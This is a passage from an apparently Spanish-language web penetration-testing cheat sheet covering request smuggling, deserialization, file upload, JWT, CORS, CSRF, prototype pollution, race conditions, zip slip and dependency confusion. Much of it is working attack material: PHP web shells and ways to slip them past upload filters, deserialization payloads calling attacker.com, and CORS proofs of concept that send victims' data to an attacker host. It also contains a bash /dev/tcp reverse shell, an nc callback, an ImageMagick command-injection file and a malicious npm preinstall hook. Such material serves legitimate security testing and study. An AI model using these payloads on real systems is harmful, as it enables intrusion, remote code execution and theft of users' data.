HTTP/2 Request Smuggling (H2.CL, H2.TE):

:method: POST
:path: /
:authority: target.com
content-length: 0

GET /admin HTTP/1.1
Host: internal-backend
Content-Length: 10

x=1

Client-Side Desync:

javascript
fetch('https://www.target.com/redirect', {
    method: 'POST',
    body: `HEAD /404/ HTTP/1.1\r\nHost: target.com\r\n\r\nGET /x?x=<script>alert(1)</script> HTTP/1.1\r\nX: Y`,
    credentials: 'include',
    mode: 'cors'
}).catch(() => { location = 'https://www.target.com/' })

Herramientas

bash
python3 smuggler.py -u https://target.com/ -t CL.TE -v
bash
python3 smuggler.py -u https://target.com/ -t TE.CL -v

En Burp Suite usar la extensión HTTP Request Smuggler para detección automática.


9.14 Insecure Deserialization

PHP

Identificar:

O:4:"User":1:{s:4:"name";s:5:"admin";}
TzoyOiJNZSI6...  (base64 del anterior)

Modificar objeto serializado:

php
O:4:"User":1:{s:5:"admin";b:0;}    cambiar b:0 a b:1
bash
php -r 'echo base64_encode(serialize(["admin" => true]));'

phpggc — gadget chains para frameworks PHP:

bash
phpggc -l
bash
phpggc Laravel/RCE1 system id
bash
phpggc Symfony/RCE4 exec "curl http://attacker.com/$(id)"
bash
phpggc --base64 Yii/RCE1 system id

phpggc tiene gadget chains para Laravel, Symfony, Yii, Zend, Magento, Phalcon y más. La chain correcta depende de las librerías instaladas en el servidor.

Java

Identificar:

AC ED 00 05   (hex)
rO0AB         (base64)
Content-Type: application/x-java-serialized-object
H4sIAAAAAAAAAJ   (gzip+base64)

ysoserial — generar payloads:

bash
java -jar ysoserial.jar CommonsCollections1 'id' | base64 -w0
bash
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/$(id)'
bash
java -jar ysoserial.jar URLDNS 'http://attacker.com'
bash
java -jar ysoserial.jar Groovy1 'ping -c 3 attacker.com'

El payload URLDNS solo hace una request DNS — sin RCE. Es ideal para detectar la vulnerabilidad sin ejecutar código dañino.

Cadenas disponibles en ysoserial:

CadenaDependencia requerida
CommonsCollections1-7Apache Commons Collections
Spring1-2Spring Framework
Groovy1Groovy
JRMPClientJDK (sin dependencias externas)
URLDNSJDK (sin dependencias)
Jdk7u21JDK 7 ≤ u21

Extensiones Burp para Java deserialization:

  • NetSPI/JavaSerialKiller
  • federicodotta/Java Deserialization Scanner
  • summitt/burp-ysoserial

marshalsec — para otros formatos (Jackson, XStream, YAML):

bash
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#exploit.JNDIExploit" 1389
bash
java -cp marshalsec.jar marshalsec.JsonIO Groovy "cmd" "/c" "calc"

Jackson — CVE-2017-7525:

json
{"param": ["com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", {"transletBytecodes": ["BASE64_JAVA_CLASS"], "transletName": "a.b", "outputProperties": {}}]}

.NET

bash
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc" -o base64
bash
ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "calc"

YAML (Python — PyYAML/SnakeYAML)

Python PyYAML < 6.0:

yaml
!!python/object/apply:os.system ["id"]
yaml
!!python/object/new:subprocess.Popen [["id"]]

9.15 Open Redirect

  • [ ] Redirección arbitraria
  • [ ] Test de funcionalidad de login OAuth para open redirection

Parámetros comunes que aceptan URLs

?url= ?redirect= ?next= ?return= ?return_to= ?returnTo= ?redir=
?redirect_uri= ?redirect_url= ?destination= ?dest= ?go= ?target=
?checkout_url= ?continue= ?image_url= ?view= ?rurl=
/redirect/https://evil.com

Bypass de filtros

Via @ (RFC 1738 user:pass@host):

http://target.com@evil.com
http://target.com.evil.com

Via //:

//evil.com
////evil.com

Bypass de "http":

https:evil.com
\/\/evil.com
/\/evil.com

Bypass de punto (.):

evil%E3%80%82com
//evil%00.com

CRLF en javascript::

java%0d%0ascript%0d%0a:alert(0)

HTTP Parameter Pollution:

?next=safe.com&next=evil.com

Doble encode:

%252f%252fevil.com

10. Manejo de Errores

  • [ ] Acceder a páginas personalizadas como /whatever_fake.php (.aspx, .html, etc.)
  • [ ] Agregar múltiples parámetros en GET y POST usando diferentes valores
  • [ ] Agregar [], ]], y [[ en valores de cookies y parámetros para crear errores
  • [ ] Generar error dando input como /~randomthing/%s al final de la URL
  • [ ] Usar la lista "Fuzzing Full" de Burp Intruder en el input para generar códigos de error
  • [ ] Probar diferentes verbos HTTP como PATCH, DEBUG, o incorrectos como FAKE

Probar extensiones de archivo que no existen:

bash
curl https://target.com/page.php.bak
curl https://target.com/page.aspx~
curl https://target.com/.page.swp

Agregar parámetros inválidos:

?id=1&id=2
?id[]=1&id[]=2
?id%5b%5d=1

Verbos HTTP no estándar:

DEBUG / HTTP/1.1
TRACK / HTTP/1.1
PATCH /admin HTTP/1.1
FAKE / HTTP/1.1

Los mensajes de error detallados revelan rutas de sistema, versiones de software, estructura de la DB y a veces fragmentos del código fuente.


11. Lógica de Aplicación

  • [ ] Identificar la superficie de ataque lógica
  • [ ] Testear transmisión de datos via el cliente
  • [ ] Testear confianza en validación de input del lado cliente
  • [ ] Componentes thick-client (Java, ActiveX, Flash)
  • [ ] Procesos multi-etapa para fallas de lógica
  • [ ] Manejo de input incompleto
  • [ ] Límites de confianza (trust boundaries)
  • [ ] Lógica de transacciones
  • [ ] Implementación de CAPTCHA en formularios de email para evitar flooding
  • [ ] Tamperear ID de producto, precio o cantidad en cualquier acción (agregar, modificar, eliminar, pagar)
  • [ ] Tamperear códigos de regalo o descuento
  • [ ] Reusar códigos de regalo
  • [ ] Probar parameter pollution para usar código de regalo dos veces en el mismo request
  • [ ] Probar XSS almacenado en campos no limitados como dirección
  • [ ] Verificar si CVV y número de tarjeta están en texto claro o enmascarados
  • [ ] Verificar si es procesado por la app o enviado a terceros
  • [ ] IDOR de detalles de otros usuarios: ticket/carrito/envío
  • [ ] Verificar si se permiten números de tarjeta de crédito de prueba como 4111 1111 1111 1111
  • [ ] Verificar creación de PRINT o PDF para IDOR
  • [ ] Verificar botón de unsubscribe con enumeración de usuarios
  • [ ] Parameter pollution en links de sharing de redes sociales
  • [ ] Cambiar requests POST sensibles a GET

Manipulación de precios y cantidades:

price=100.00 → price=0.01 → price=-100 → price=0
quantity=1   → quantity=-1             (precio negativo total)
product_id=1 → product_id=999          (producto diferente)

Un carrito con cantidad -1 puede resultar en un precio total negativo, lo que podría acreditar saldo a la cuenta del atacante.

Race condition en códigos de descuento:

python
import requests, threading

def redeem(session):
    session.post("https://target.com/redeem", data={"code": "GIFT50"})

sessions = [requests.Session() for _ in range(20)]
threads = [threading.Thread(target=redeem, args=(s,)) for s in sessions]
[t.start() for t in threads]
[t.join() for t in threads]

Enviar 20 requests simultáneos para aplicar el mismo cupón. Si no hay control de concurrencia, el cupón puede aplicarse múltiples veces antes de que el servidor marque el código como usado.

Bypass de flujo de pago multi-etapa:

1. Paso 1: /checkout/cart
2. Paso 2: /checkout/shipping
3. Paso 3: /checkout/payment   ← acceder directamente sin pasar por 1 y 2
4. Paso 4: /checkout/confirm   ← acceder directamente después del paso 1

Response manipulation para saltarse validaciones:

  1. Interceptar la respuesta del servidor
  2. Cambiar {"paid": false}{"paid": true}
  3. Verificar si la aplicación acepta la respuesta modificada como válida

Tarjetas de crédito de prueba:

4111 1111 1111 1111  (Visa)
5500 0000 0000 0004  (MasterCard)
378282246310005      (Amex)

12. Upload de Archivos Inseguros

  • [ ] EICAR test file
  • [ ] Sin límite de tamaño
  • [ ] Extensión de archivo
  • [ ] Filter bypass
  • [ ] RCE

Web shells

php
<?php system($_GET['cmd']); ?>
<?=`$_GET[0]`?>
<script language="php">system($_GET["cmd"]);</script>
<?php echo shell_exec($_POST['c']); ?>

Bypass de extensión

PHP:

.php3 .php4 .php5 .php7 .pht .phps .phar .phpt .pgif .phtml .phtm .inc

ASP:

.asp .aspx .cer .asa .soap
shell.aspx;1.jpg   (IIS < 7.0)

JSP:

.jspx .jsw .jsv .jspf .wss .do .actions

Random case:

.pHp .pHP5 .PhAr .PHP

Doble extensión:

shell.jpg.php
shell.php.jpg
shell.php.png

Null byte:

shell.php%00.jpg
shell.php\x00.jpg

Caracteres especiales en Windows:

shell.php......      (Windows elimina puntos finales)
shell.php%20         (espacio)
shell.php%0a         (newline)
shell.php%0d%0a.jpg

NTFS Alternate Data Streams:

file.asp::$data
file.asp::$data.

Bypass de Content-Type

Content-Type: application/x-php → Content-Type: image/jpeg
Content-Type: application/x-php → Content-Type: image/gif
Content-Type: application/x-php → Content-Type: image/png

Magic bytes (los primeros bytes del archivo)

Agregar magic bytes de imagen al inicio de un PHP:

bash
printf '\x89PNG\r\n\x1a\n' > shell.png.php && cat shell.php >> shell.png.php
bash
printf '\xff\xd8\xff' > shell.jpg.php && cat shell.php >> shell.jpg.php
bash
echo "GIF89a; <?php system(\$_GET['cmd']); ?>" > shell.gif.php

Polyglot web shell

bash
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg -o shell.jpg.php

.htaccess upload

AddType application/x-httpd-php .jpg

Subir .htaccess con este contenido, luego subir image.jpg con código PHP — Apache lo ejecutará como PHP.

Vulnerabilidades en el nombre del archivo

'><img src=x onerror=alert(1)>.jpg   (XSS)
; sleep 10;.jpg                       (command injection)
../../../var/www/html/shell.jpg       (path traversal)
poc.js'(select*from(select(sleep(20)))a)+'.jpg  (SQLi en nombre)

Imagetragick (CVE-2016-3714)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|whoami > /tmp/pwned")'
pop graphic-context

Guardar como shell.mvg y subir. ImageMagick ejecuta el comando al procesar el archivo.


13. JWT — JSON Web Tokens

  • [ ] Si hay JWT, verificar fallas comunes

Análisis

bash
jwt_tool <TOKEN>
bash
echo "PAYLOAD_BASE64" | base64 -d | jq .
bash
python3 jwt_tool.py <TOKEN> -M at

El modo -M at corre todos los tests automáticamente.

None algorithm (CVE-2015-9235)

bash
python3 jwt_tool.py <TOKEN> -X a

Variantes del algoritmo a probar: none, None, NONE, nOnE. El token resultante tiene la firma vacía pero el punto final sigue presente.

Null signature (CVE-2020-28042)

Token con firma vacía pero algoritmo válido:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6dHJ1ZX0.

Disclosure de firma correcta (CVE-2019-7644)

Enviar un token con firma incorrecta. Algunos servidores responden con:

Invalid signature. Expected SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c got 9twuPVu9Wj3PBneGw1ctrf3knr7RX12v

La firma correcta está en el mensaje de error.

Algoritmo RS256 → HS256 (CVE-2016-5431)

bash
openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -pubkey -noout > public.pem
bash
python3 jwt_tool.py <TOKEN> -X k -pk public.pem

El servidor espera un token RS256 firmado con su clave privada. Si no valida el algoritmo, acepta un HS256 firmado con la clave pública como secreto HMAC.

JWK header injection (CVE-2018-0114)

bash
python3 jwt_tool.py <TOKEN> -X i

Inyecta la clave pública del atacante directamente en el header jwk. El servidor confía en la clave incluida en el header y acepta el token.

JKU header injection

bash
python3 jwt_tool.py <TOKEN> -X s

Apunta el header jku a un JWK Set propio del atacante. El servidor descarga las claves desde esa URL y valida el token con ellas.

kid — path traversal

bash
python3 jwt_tool.py <TOKEN> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

Si kid se usa para cargar la clave de un archivo, apuntarlo a /dev/null hace que la clave sea el string vacío. El token se firma con "".

Fuerza bruta del secreto débil

bash
hashcat -a 0 -m 16500 <TOKEN> /opt/SecLists/Passwords/Common-Credentials/best1050.txt
bash
john --format=HMAC-SHA256 --wordlist=/opt/rockyou.txt jwt.txt
bash
python3 jwt_tool.py <TOKEN> -C -d /opt/rockyou.txt

Recuperar clave pública desde dos JWTs firmados

bash
docker run -it ttervoort/jws2pubkey JWT1 JWT2

Con dos tokens firmados con la misma clave RSA, es matemáticamente posible derivar la clave pública.


14. CORS Misconfiguration

  • [ ] Test CORS

Detección

bash
curl -s -I -H "Origin: https://evil.com" https://target.com/api/data

Buscar en la respuesta: Access-Control-Allow-Origin: https://evil.com + Access-Control-Allow-Credentials: true.

Variaciones a probar:

Origin: null
Origin: https://target.com.evil.com
Origin: https://evil.com%60target.com
Origin: https://notarget.com
Origin: https://target.com.attacker.com

Herramientas:

bash
corsy -u https://target.com -H "Cookie: session=abc"
bash
CORScanner -u https://target.com

PoC — Origin reflection

html
<html><body><script>
var req = new XMLHttpRequest();
req.onload = function() {
  location = 'https://attacker.com/steal?data=' + encodeURIComponent(this.responseText);
};
req.open('GET', 'https://victim.com/api/private', true);
req.withCredentials = true;
req.send();
</script></body></html>

Si Access-Control-Allow-Credentials: true, el browser enviará las cookies de la víctima y la respuesta incluirá sus datos privados.

PoC — Null origin (via iframe con data: URI)

html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
  src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = function() {
  top.location = 'https://attacker.com/steal?d=' + encodeURIComponent(this.responseText);
};
req.open('GET', 'https://victim.com/api/private', true);
req.withCredentials = true;
req.send();
</script>"></iframe>

Iframes con src="data:..." generan requests con Origin: null.

Wildcard sin credenciales (acceso a servicios internos)

javascript
var req = new XMLHttpRequest();
req.onload = function() {
  location = '//attacker.net/log?key=' + this.responseText;
};
req.open('get', 'https://api.internal.example.com/endpoint', true);
req.send();

Si la API interna responde con Access-Control-Allow-Origin: * pero sin autenticación, el atacante puede acceder desde internet a través del browser de la víctima.


15. CSRF

  • [ ] Cross-site request forgery en todos los formularios y acciones de usuario
  • [ ] Bypass de tokens Anti-CSRF

Verificar y bypass de defensas

Eliminar el token:

POST /change-email
email=attacker@evil.com

Simplemente omitir el parámetro csrf del request.

Usar token de otra sesión:

Si el token no está atado a la sesión del usuario específico, un token generado para la cuenta del atacante puede usarse en requests de la víctima.

Cambiar POST a GET:

GET /change-email?email=attacker@evil.com&csrf=

Eliminar header Referer:

html
<meta name="referrer" content="no-referrer">

SameSite Lax bypass via method override:

POST /change-email?_method=POST

Templates de exploit

Form POST básico:

html
<html><body>
  <form action="https://target.com/change-email" method="POST">
    <input name="email" value="attacker@evil.com">
  </form>
  <script>document.forms[0].submit()</script>
</body></html>

JSON via fetch:

javascript
fetch('https://target.com/api/change-email', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({email: 'attacker@evil.com'})
});

JSON via form (Content-Type: text/plain):

html
<form action="https://target.com/api/change-email" method="POST" enctype="text/plain">
  <input name='{"email":"attacker@evil.com","x":"' value='"}'>
</form>

El body resultante es {"email":"attacker@evil.com","x":"="}, que es JSON válido si el servidor no valida el Content-Type.


16. Prototype Pollution

Client-side — detección

javascript
Object.prototype.polluted

Este valor debe ser undefined. Si después de inyectar el payload es "1", el objeto raíz fue modificado.

Payloads en query string:

?__proto__[polluted]=1
?__proto__[admin]=true
?constructor[prototype][polluted]=1
?constructor[prototype][admin]=true

URLs reales explotadas:

https://victim.com/#__proto__[admin]=1
https://victim.com/#a=b&__proto__[isAdmin]=true
https://www.apple.com/shop/buy-watch?__proto__[src]=image&__proto__[onerror]=alert(1)

XSS via prototype pollution:

json
?__proto__[innerHTML]=<img/src/onerror=alert(1)>
?__proto__[src]=1&__proto__[onerror]=alert(1)

Server-side (Node.js) — detección sin reflexión

ExpressJS — cambio de indentado:

json
{"__proto__": {"json spaces": 10}}

Si la próxima respuesta JSON tiene 10 espacios de indentado, el servidor es vulnerable.

ExpressJS — cambio de status code:

json
{"__proto__": {"status": 510}}

ExpressJS — ignoreQueryPrefix:

json
{"__proto__": {"ignoreQueryPrefix": true}}

Luego probar ??foo=bar — si el servidor lo acepta sin error, el prototipo fue contaminado.

Server-side — RCE

Via NODE_OPTIONS:

json
{"__proto__": {
  "argv0": "node",
  "shell": "node",
  "NODE_OPTIONS": "--inspect=attacker.oastify.com"
}}

Via EJS gadget:

json
{"__proto__": {
  "client": 1,
  "escapeFunction": "JSON.stringify; process.mainModule.require('child_process').exec('id | nc attacker.com 4444')"
}}

Kibana RCE (CVE-2019-7609):

javascript
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.1/4242 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

Via constructor:

json
{"constructor": {"prototype": {"admin": true}}}

Herramientas

bash
ppmap -u "https://target.com/page"

17. GraphQL Injection

Descubrir endpoint

bash
ffuf -u https://target.com/FUZZ -w /opt/SecLists/Discovery/Web-Content/graphql.txt -mc 200,400

Endpoints comunes: /graphql, /graphiql, /api/graphql, /v1/graphql, /playground, /console, /graph.

Detectar si es GraphQL:

bash
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__typename}"}' | jq .

La respuesta {"data":{"__typename":"Query"}} confirma GraphQL.

Introspección

bash
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name}}}"}' | jq .

Si introspección deshabilitada — usar suggestions:

json
{"query": "{user{passwrod}}"}

La respuesta incluye Did you mean 'password'? revelando el nombre del campo correcto.

Herramienta GraphQLmap:

bash
graphqlmap -u https://target.com/graphql --introspection

Fingerprint del servidor:

bash
graphw00f -d -f https://target.com/graphql

Batching para bypass de rate limit

JSON array batching:

json
[
  {"query": "mutation{login(user:\"admin\",pass:\"pass1\")}"},
  {"query": "mutation{login(user:\"admin\",pass:\"pass2\")}"},
  {"query": "mutation{login(user:\"admin\",pass:\"pass3\")}"}
]

Query name batching (alias):

graphql
{
  a1: login(user:"admin",pass:"pass1")
  a2: login(user:"admin",pass:"pass2")
  a3: login(user:"admin",pass:"pass3")
}

Múltiples queries en un solo request — el rate limit se aplica por request, no por operación dentro del request.

Inyección en campos GraphQL

SQL injection en resolver:

graphql
{user(id:"1 OR 1=1"){ username email }}
{user(id:"1; DROP TABLE users"){ username }}

NoSQL injection:

graphql
{user(username:{$ne:null}){ id email password }}

18. HTTP Parameter Pollution (HPP)

Comportamiento por framework

Framework?p=a&p=b → valor de p
PHP/ApacheÚltimo → b
ASP.NET/IISTodos → a,b
JSP/TomcatPrimero → a
Ruby on RailsÚltimo → b
Python FlaskPrimero → a
Python DjangoÚltimo → b
Node.jsTodos → a,b
Go (Get)Primero → a

Payloads

Duplicar parámetros:

?debug=false&debug=true
?admin=false&admin=true
?amount=1&amount=5000

Array injection:

?param[]=value1&param[]=value2
?param[0]=value1&param[1]=value2

JSON con clave duplicada:

json
{"username": "admin", "username": "attacker"}

MongoDB toma el último valor en caso de duplicados.

Encoded injection (servidor procesa como dos params):

?param=value1%26other=value2

19. Race Conditions

HTTP/1.1 — Last-byte synchronization con Turbo Intruder

python
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=30,
        requestsPerConnection=30,
        pipeline=False
    )
    for i in range(30):
        engine.queue(target.req, gate='race1')
    engine.openGate('race1')
    engine.complete(timeout=60)

def handleResponse(req, interesting):
    table.add(req)

Se acumulan requests enviando todo excepto el último byte. Al abrir el "gate", todos los últimos bytes se envían simultáneamente, garantizando que lleguen al servidor en el mismo instante.

HTTP/2 — Single-packet attack

En Burp Suite:

  1. Enviar request al Repeater
  2. CTRL+R para duplicar 20 veces
  3. Click derecho → "Add to new group"
  4. Send group → "Send group in parallel (single-packet attack)"

HTTP/2 permite multiplexar múltiples requests sobre una sola conexión TCP. Al enviar todos en un solo paquete, el servidor los procesa simultáneamente sin latencia de red entre ellos.

Multi-step race condition

python
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30)

    request1 = '''POST /redeem HTTP/1.1\r\nHost: target.com\r\nCookie: session=YOURS\r\n\r\ncode=GIFT50'''
    request2 = '''GET /balance HTTP/1.1\r\nHost: target.com\r\nCookie: session=YOURS\r\n\r\n'''

    engine.queue(request1, gate='race1')
    for i in range(30):
        engine.queue(request2, gate='race1')
    engine.openGate('race1')

Escenarios comunes

  • Aplicar el mismo gift card múltiples veces antes de que se marque como usado
  • Bypass de 2FA: enviar múltiples OTPs simultáneamente para bypassear el rate limit
  • Overdraft: retirar dinero más veces de las permitidas en paralelo
  • Registro duplicado: registrar el mismo usuario en paralelo antes de que se valide unicidad

20. Type Juggling (PHP)

Comparaciones loose (==) que evalúan true

ComparaciónResultado
'0010e2' == '1e3'true
'123' == 123true
'abc' == 0true
'' == 0 == false == NULLtrue
'1e3' == 1000true (PHP 5)

Magic hashes (0e... = 0 en comparación loose)

HashInputHash resultado
MD52406107080e462097431906509019562988736854
MD5QNKCDZO0e830400451993494058024219903391
MD50e2159620170e291242476940776845150308577824
SHA1109324351120e07766915004133176347055865026311692244

Si la app compara md5($input) == $stored_hash con == y el hash almacenado empieza con 0e, cualquier input cuyo MD5 también empiece con 0e bypasea la comparación.

Bypass de HMAC débil

Si la cookie usa hmac != hash_hmac(...) con !=:

php
for($i=1424869663; $i < 1835970773; $i++) {
  $out = hash_hmac('md5', 'admin|'.$i, '');
  if(str_starts_with($out, '0e') && $out == 0) {
    echo "$i - $out\n";
    break;
  }
}

Cuando hash_hmac retorna 0e..., la comparación '0' != '0e...' evalúa como false (son "iguales" en loose comparison), bypasseando la validación.


21. Zip Slip

Crear ZIP malicioso con evilarc:

bash
python evilarc.py shell.php -o unix -f shell.zip -p var/www/html/ -d 10

Con slipit:

bash
slipit -c cmd.php -o exploit.zip -t "../../../../var/www/html/cmd.php"

Symlink en ZIP:

bash
ln -s ../../../etc/passwd symlink.txt
zip --symlinks exploit.zip symlink.txt

Al extraer el ZIP, el symlink se crea en el filesystem y apunta a /etc/passwd. Cualquier lectura del archivo extraído lee el target del symlink.

Nombres a probar:

../../../../etc/passwd
../../../../var/www/html/shell.php
../../../../Windows/System32/drivers/etc/hosts
..%2F..%2F..%2F..%2Fetc%2Fpasswd
..\..\..\Windows\win.ini

El ataque funciona para múltiples formatos: ZIP, TAR, JAR, WAR, APK, RAR, 7Z.


22. Dependency Confusion

Verificar si el paquete existe públicamente:

bash
npm view <internal-package-name>
bash
pip show <internal-package-name>
bash
gem info <internal-package-name>

Si el paquete no existe en el registro público, el nombre está disponible para ser registrado.

Herramienta confused:

bash
confused -l pypi -f requirements.txt
bash
confused -l npm -f package-lock.json

Crear paquete malicioso (con callback en install):

json
{
  "name": "internal-package-name",
  "version": "9999.0.0",
  "scripts": {
    "preinstall": "curl https://attacker.com/pkg/$(hostname)/$(whoami)"
  }
}

Registrar en npmjs.com/pypi.org con versión mayor a la interna (9999.0.0). Los package managers que buscan la versión más reciente descargarán el paquete público en lugar del interno.


23. API Key Leaks y Source Code Management

Búsqueda de secrets

TruffleHog:

bash
trufflehog github --org=TargetOrg --issue-comments --pr-comments
bash
trufflehog git https://github.com/target/repo
bash
trufflehog filesystem ./source_code/
bash
docker run trufflesecurity/trufflehog:latest docker --image targetcorp/api:latest

Gitleaks:

bash
gitleaks detect --source . -v -r gitleaks_report.json

Nuclei tokens:

bash
nuclei -l js_files.txt -t nuclei-templates/exposures/tokens/ -o api_keys.txt

Patrones manuales:

bash
grep -rE "(AKIA[0-9A-Z]{16})" .
bash
grep -rE "ghp_[a-zA-Z0-9]{36}" .
bash
grep -rE "sk-[a-zA-Z0-9]{48}" .
bash
grep -rE "AIza[0-9A-Za-z\-_]{35}" .

Repositorios expuestos (.git, .svn)

bash
curl -sk https://target.com/.git/HEAD
curl -sk https://target.com/.git/config
curl -sk https://target.com/.svn/entries

Dump del repositorio:

bash
git-dumper https://target.com/.git/ ./dumped_repo/

Incluso si el servidor devuelve 403 al listar .git/, los archivos individuales pueden ser descargables.

Buscar secrets en historial:

bash
cd dumped_repo && git log --all --oneline
bash
git show <commit_hash> -- config.php

Un secreto que fue commiteado y luego "eliminado" sigue visible en el historial de git.

Validar API keys encontradas

bash
aws sts get-caller-identity --access-key AKIA... --secret-key ...
bash
curl -H "Authorization: token ghp_..." https://api.github.com/user
bash
curl "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29...."
bash
curl https://api.stripe.com/v1/charges -u "sk_live_...:

24. Infraestructura

  • [ ] Segregación en infraestructuras compartidas
  • [ ] Segregación entre aplicaciones alojadas en ASP
  • [ ] Vulnerabilidades del servidor web
  • [ ] Métodos HTTP peligrosos
  • [ ] Funcionalidad de proxy
  • [ ] Misconfiguration de virtual hosting (VHostScan)
  • [ ] Verificar IPs numéricas internas en requests
  • [ ] Verificar IPs numéricas externas y resolverlas
  • [ ] Testear cloud storage
  • [ ] Verificar existencia de canales alternativos (www.web.com vs m.web.com)

Métodos HTTP peligrosos:

bash
curl -s -X OPTIONS https://target.com/api/ -i | grep Allow

Los métodos PUT, DELETE, TRACE, CONNECT en producción son señales de alerta. TRACE puede habilitar Cross-Site Tracing (XST) para robar cookies HttpOnly.

Virtual hosting:

bash
vhostscan -t target.com -o vhosts.txt
bash
ffuf -u https://target.com -H "Host: FUZZ.target.com" -w subdomains.txt -mc 200,301,302 -fs <baseline>

Canales alternativos (mobile, API, admin):

www.target.com  →  m.target.com  →  api.target.com  →  admin.target.com

Los sitios mobile o de staging suelen tener menos controles de seguridad que el sitio principal.


25. CAPTCHA

  • [ ] Enviar valor antiguo de CAPTCHA
  • [ ] Enviar valor antiguo de CAPTCHA con session ID antiguo
  • [ ] Solicitar ruta absoluta del CAPTCHA como www.url.com/captcha/1.png
  • [ ] Eliminar CAPTCHA con cualquier adblocker y volver a solicitar
  • [ ] Bypass con herramienta OCR (para los simples)
  • [ ] Cambiar de POST a GET
  • [ ] Eliminar el parámetro CAPTCHA
  • [ ] Convertir request JSON a normal
  • [ ] Probar header injections

Enumerar CAPTCHAs accesibles directamente:

bash
for i in $(seq 1 20); do
  curl -sk "https://target.com/captcha/$i.png" -o /dev/null -w "%{http_code} captcha/$i.png\n"
done

Si los CAPTCHAs son accesibles por URL sin vínculo con la sesión, el atacante puede simplemente descargar el archivo y leerlo directamente.

Bypass via OCR:

bash
tesseract captcha.png output

CAPTCHAs simples basados en texto distorsionado frecuentemente son solucionables con Tesseract.

Eliminar el parámetro:

POST /login
username=admin&password=test&captcha=abc123

POST /login
username=admin&password=test

Si el backend no valida la presencia del parámetro, simplemente omitirlo puede bypassear el CAPTCHA.


26. Headers de Seguridad

  • [ ] X-XSS-Protection
  • [ ] Strict-Transport-Security
  • [ ] Content-Security-Policy
  • [ ] Public-Key-Pins
  • [ ] X-Frame-Options
  • [ ] X-Content-Type-Options
  • [ ] Referer-Policy
  • [ ] Cache-Control
  • [ ] Expires

Verificar headers presentes:

bash
curl -s -I https://target.com | grep -iE "x-frame|content-security|hsts|x-content-type|referrer|permissions|cache-control|x-xss"

Análisis automático:

bash
nuclei -u https://target.com -t nuclei-templates/misconfiguration/http-missing-security-headers.yaml

Headers y su impacto si faltan

HeaderImpacto de su ausencia
Strict-Transport-SecurityPermite ataques de downgrade a HTTP, MITM
Content-Security-PolicySin restricciones para carga de scripts externos, XSS más explotable
X-Frame-Options / frame-ancestorsClickjacking — la página puede ser enmarcada en iframes maliciosos
X-Content-Type-Options: nosniffMIME sniffing — el browser puede interpretar archivos con Content-Type incorrecto
Referrer-PolicyEl header Referer puede filtrar tokens de reset de contraseña u otros datos sensibles
Cache-Control: no-storeRespuestas con datos sensibles pueden quedar cacheadas en proxies o en el browser
Permissions-PolicySin restricciones para APIs de cámara, micrófono, geolocalización

Configuración recomendada

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), camera=(), microphone=()
Cache-Control: no-store (en respuestas con datos de usuario)

Herramientas esenciales

HerramientaFunción
Burp Suite ProProxy, Scanner, Intruder, Repeater, Turbo Intruder
sqlmap / ghauriAutomatización SQLi
jwt_toolTesting JWT completo
SSRFmap / GopherusSSRF + gopher payloads
commixOS command injection
tplmap / sstimapSSTI detection y exploit
ysoserial / phpggcGadget chains para deserialización
dalfoxXSS automatizado
interactshOOB interaction server
nucleiScanner basado en templates
amass / subfinderEnumeración de subdominios
httpxHTTP probing
ffuf / feroxbusterFuzzing web
gau / waybackurlsURLs históricas
trufflehog / gitleaksSecrets en repos
Turbo IntruderRace conditions / bulk requests
GraphQLmap / graphw00fTesting GraphQL
corsy / CORScannerCORS scanner
arjunParámetros HTTP ocultos
puredns / gotatorDNS brute force y permutaciones

Referencias

RecursoURL
PayloadsAllTheThingsgithub.com/swisskyrepo/PayloadsAllTheThings
HackTricksbook.hacktricks.xyz
PortSwigger Web Security Academyportswigger.net/web-security
SecListsgithub.com/danielmiessler/SecLists
OWASP Testing Guide v4owasp.org/www-project-web-security-testing-guide
Nuclei Templatesgithub.com/projectdiscovery/nuclei-templates